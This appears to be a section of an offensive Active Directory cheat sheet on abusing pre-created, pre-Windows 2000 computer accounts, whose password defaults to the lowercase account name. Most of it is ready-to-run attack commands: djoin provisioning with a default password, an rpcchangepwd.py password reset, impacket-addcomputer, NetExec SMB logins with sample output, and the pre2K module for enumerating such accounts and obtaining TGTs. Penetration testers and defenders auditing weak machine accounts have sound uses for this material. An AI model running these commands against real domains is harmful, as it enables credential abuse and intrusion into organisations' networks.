Password - Pre-Created Computer Account
When Assign this computer account as a pre-Windows 2000 computer checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account SERVERDEMO$ would have the password serverdemo.
# Create a machine with default password
# must be run from a domain joined device connected to the domain
djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc-
When you attempt to login using the credential you should have the following error code :
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT. -
Then you need to change the password with rpcchangepwd.py
python3 rpcchangepwd.py '<DOMAIN>/COMPUTER>$':'<PASSWORD>'@<DC IP> -newpass '<PASS>'
:warning: When the machine account name and the password are the same, the machine will also act like a pre-Windows 2000 computer and the authentication will result in STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT.
$ impacket-addcomputer -dc-ip 10.10.10.10 EXODIA.LOCAL/Administrator:P@ssw0rd -computer-name swkserver -computer-pass swkserver
[*] Successfully added machine account swkserver$ with password swkserver.
$ nxc smb 10.10.10.10 -u 'swkserver$' -p swkserver
SMB 10.10.10.10 445 WIN-8OJFTLMU1IG [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-8OJFTLMU1IG) (domain:EXODIA.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.10 445 WIN-8OJFTLMU1IG [-] EXODIA.LOCAL\swkserver$:swkserver STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNTEnumerate Pre-Created Computer Account
Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each
nxc -u username -p password -M pre2K